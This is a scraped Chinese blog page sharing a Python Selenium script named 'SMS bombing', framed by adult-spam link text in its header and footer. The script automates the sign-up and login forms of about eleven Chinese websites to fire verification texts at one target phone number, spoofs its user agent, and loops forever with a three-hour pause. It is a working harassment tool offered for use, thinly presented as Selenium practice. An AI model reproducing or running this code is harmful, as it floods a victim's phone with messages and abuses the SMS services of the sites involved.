欧美三区_成人在线免费观看视频_欧美极品少妇xxxxⅹ免费视频_a级毛片免费播放_鲁一鲁中文字幕久久_亚洲一级特黄

python 短信轟炸

系統(tǒng) 1628 0

之前用了谷歌的selenium模塊,為了練習一下 所以寫了這個(沒錯 才不是別的理由!)

代碼里涉及到了各種復雜的情況,包括要找的div在別的iframe中的處理方式,頂部導航欄的定位方式等等。綜合性很強

下面是代碼

            
              from selenium import webdriver
import time
from fake_useragent import UserAgent

opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')

# 更換頭部
ua = UserAgent()
opt.add_argument('user-agent="%s"' % ua.random)
driver = webdriver.Chrome(chrome_options=opt)


class HongZha:

    def __init__(self):
        self.phone = 'xxxxxxxxxxx'    # your phone number
        self.num = 0

    # 發(fā)送驗證碼
    def send_yzm(self, button, name):
        button.click()
        self.num += 1
        print("{}  第{}次  發(fā)送成功  {}".format(self.phone, self.num, name))

    def youku(self, name):
        driver.get('https://www.youku.com/')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//img[@class="a-avatar_17DKW"]').click()
        time.sleep(3)
        driver.find_element_by_xpath('//a[@href="javascript:void(0);"]').click()
        time.sleep(3)
        driver.find_element_by_xpath('//input[@class="fm-text"]').send_keys(self.phone)
        button = driver.find_element_by_xpath('//a[@class="send-btn-link"]')
        self.send_yzm(button, name)

    # 瓜子注冊接口
    def guazi(self, name):
            try:
                driver.implicitly_wait(10)
                driver.get("https://www.guazi.com/www/bj/buy")
                a_btn = driver.find_element_by_xpath("http://a[@class='uc-my']")
                a_btn.click()
                tel = driver.find_element_by_xpath("http://input[@name='phone']")
                tel.send_keys(self.phone)
                button = driver.find_element_by_xpath("http://button[@class='get-code']")
                self.send_yzm(button, name)
            except:
                print('faled')

    # 唯品會注冊接口
    def wphui(self, name):
            driver.get("https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F")
            driver.implicitly_wait(10)
            tel = driver.find_element_by_xpath("http://input[@placeholder='請輸入手機號碼']")
            tel.send_keys(self.phone)
            driver.find_element_by_xpath('//a[contains(./text(),"獲取驗證碼")]').click()
            button = driver.find_element_by_xpath("http://a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']")
            self.send_yzm(button, name)

    # 有贊注冊接口
    def youzan(self, name):
        driver.get('https://account.youzan.com/login')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//img[@src="http://b.yzcdn.cn/wsc-pc-account/images/pc@2x.png"]').click()
        driver.find_element_by_xpath('//li[@class="js-tab-captcha-login"]').click()
        driver.find_elements_by_xpath('//input[@name="phoneInfo"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//div[@class="sms-btn js-get-identify-code"]')[0]
        self.send_yzm(button, name)

    # 拼多多短信登陸接口
    def pinduoduo(self, name):
        driver.get('http://mobile.yangkeduo.com/login.html')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
        driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
        time.sleep(3)
        button=driver.find_element_by_xpath('//button[@id="code-button"]')
        self.send_yzm(button, name)

    def wangyiyun(self, name):
        driver.get('https://music.163.com/')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//a[@class="link s-fc3"]')[0].click()
        driver.find_element_by_xpath('//a[@class="u-btn2 u-btn2-1"]').click()
        driver.find_element_by_xpath('//input[@class="j-phone txt u-txt"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@class="j-pwd u-txt"]').send_keys('woshinibaba123')
        button = driver.find_element_by_xpath('//a[@class="j-btn u-btn2 u-btn2-2"]')
        self.send_yzm(button, name)

    def weibo(self, name):
        try:
            driver.get('https://weibo.com/signup/signup.php')
            driver.implicitly_wait(10)
            driver.find_elements_by_xpath('//input[@class="tel_num"]')[0].send_keys(self.phone)
            driver.find_element_by_xpath('//input[@class="W_input"]').send_keys('woshinibibi123')
            s = driver.find_element_by_xpath('//select[@class="sel year"]')
            s.find_element_by_xpath('//option[@value="1996"]').click()
            s = driver.find_element_by_xpath('//select[@class="sel month"]')
            s.find_element_by_xpath('//option[@value="1"]').click()
            s = driver.find_element_by_xpath('//select[@class="sel day"]')
            s.find_element_by_xpath('//option[@value="1"]').click()
            button = driver.find_element_by_xpath('//a[@class="W_btn_e"]')
            self.send_yzm(button, name)
        except:
            pass

    def baiduyun(self, name):
        driver.get('https://login.bce.baidu.com/reg.html?tpl=bceplat&from=portal')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//input[@placeholder="用戶名"]')[0].send_keys('123sasdsa')
        driver.find_elements_by_xpath('//input[@placeholder="密碼"]')[0].send_keys('Aa123123123')
        driver.find_elements_by_xpath('//input[@placeholder="確認密碼"]')[0].send_keys('Aa123123123')
        driver.find_elements_by_xpath('//input[@placeholder="手機號"]')[0].send_keys(self.phone)
        button = driver.find_element_by_xpath('//button[@class="btn-light"]')
        self.send_yzm(button, name)

    def huaweiyun(self, name):
        driver.get('https://reg.huaweicloud.com/registerui/cn/register.html?locale=zh-cn&channelFrom=MTAyMQ==&fromuser=null&service=https%3A%2F%2Factivity.huaweicloud.com%2F2019august_promotion%2Findex.html%3Futm_source%3Dbaidu-a%26utm_medium%3Dse-cpc-op%26utm_campaign%3DPP-%25E7%25AB%259E%25E5%2593%2581%26utm_content%3DPP-%25E7%25AB%259E%25E5%2593%2581-%25E9%2598%25BF%25E9%2587%258C%25E4%25BA%2591%26utm_term%3D%25E9%2598%25BF%25E9%2587%258C%25E4%25BA%2591#/register')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//input[@placeholder="請輸入您的手機號"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//div[@id="msgBtn"]')[0]
        self.send_yzm(button, name)

    def yinxiang(self, name):
        driver.get('https://static.app.yinxiang.com/embedded-web/registration/index.html?targetUrl=%2FHome.action#/registration')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//input[@class="registration-account-input "]')[0].send_keys(self.phone)
        driver.find_elements_by_xpath('//input[@placeholder="設置密碼,至少6位字符"]')[0].send_keys('woshinibaba123123')
        button = driver.find_elements_by_xpath('//div[@class="registration-sms-vercode-btn-validate"]')[0]
        self.send_yzm(button, name)
        time.sleep(3)

    def douban(self, name):
        driver.get('https://www.douban.com/')
        driver.implicitly_wait(10)
        iframe = driver.find_elements_by_tag_name("iframe")[0]   # 由于要找的input在iframe中,直接定位不到該目標,要先轉換到其所在的iframe中才行
        driver.switch_to_frame(iframe)
        driver.find_elements_by_xpath('//input[@name="phone"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//div[@class="account-form-field-code"]')[0]
        self.send_yzm(button, name)
        time.sleep(3)

    def aibiying(self, name):
        driver.get('https://www.airbnb.cn/?af=43896654&c=.pi9.pkbaidu_brd_brandzone_demand_title_p1&src=Baidu&medium=PPC&ag_kwid=2299-36-57701246c0b98773.6a0cc0f87b49337e')
        driver.implicitly_wait(10)
        driver.find_elements_by_xpath('//div[@class="_18lcoy3z"]')[7].click()  # 頂部導航欄直接定位不到,要先定位導航欄,再逐步定位
        driver.find_elements_by_xpath('//input[@class="_kbzo2td"]')[0].send_keys(self.phone)
        button = driver.find_elements_by_xpath('//button[@class="_1wficfyg"]')[0]
        self.send_yzm(button, name)
        time.sleep(3)

    # 循環(huán)執(zhí)行
    def main(self):
        while True:
            self.guazi('瓜子')
            time.sleep(3)
            self.pinduoduo('拼多多')
            time.sleep(3)
            self.wphui('唯品會')
            time.sleep(3)
            self.youzan('有贊')
            time.sleep(3)
            self.wangyiyun('網(wǎng)易云')
            time.sleep(3)
            self.weibo('微博')
            time.sleep(3)
            self.baiduyun('百度云')
            time.sleep(3)
            self.huaweiyun('華為云')
            time.sleep(3)
            self.yinxiang('印象筆記')
            time.sleep(3)
            self.douban('豆瓣')
            time.sleep(3)
            self.aibiying('愛彼迎')
            time.sleep(10800)


if __name__ == '__main__':
    hongzha = HongZha()
    hongzha.main()


            
          

?


更多文章、技術交流、商務合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發(fā)表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 日韩三级中文 | 日韩99| 国产一区二区三区久久久久久久久 | 久久99国产精品 | 欧美精品国产一区二区三区 | 国产乳摇福利视频在线观看 | 国产精选一区二区 | 久草免费色站 | 波多野结衣三级在线 | 日韩a| 一级毛片视频免费 | 婷婷激情综合色五月久久竹菊影视 | 久久伊人亚洲 | 27xxoo无遮挡动态视频 | 男女真实有遮挡xx00动态图 | 国产在线看片 | 欧美精品一区二区蜜臀亚洲 | 欧美成在线视频 | 久久国产精品免费一区二区三区 | 一区二区在线免费观看 | 久久丝袜视频 | 三级视频在线观看 | 国产av毛片 | 亚洲精品一区二区三区在线 | 色偷偷成人网免费视频男人的天堂 | 激情网五月天 | 日本高清不卡视频 | www.riben| 片一级片在线观看 | 国产色婷婷精品综合在线观看 | 国产2区 | 涩涩操| 亚洲草原天堂 | 一区二区三区在线观看免费 | 久久亚洲精品中文字幕二区 | 欧美日韩一区二区三 | 国产精品久久国产精品 | 免费一级毛片不卡不收费 | 久久久久久久久久综合情日本 | 色中色在线播放 | 国产在线看片 |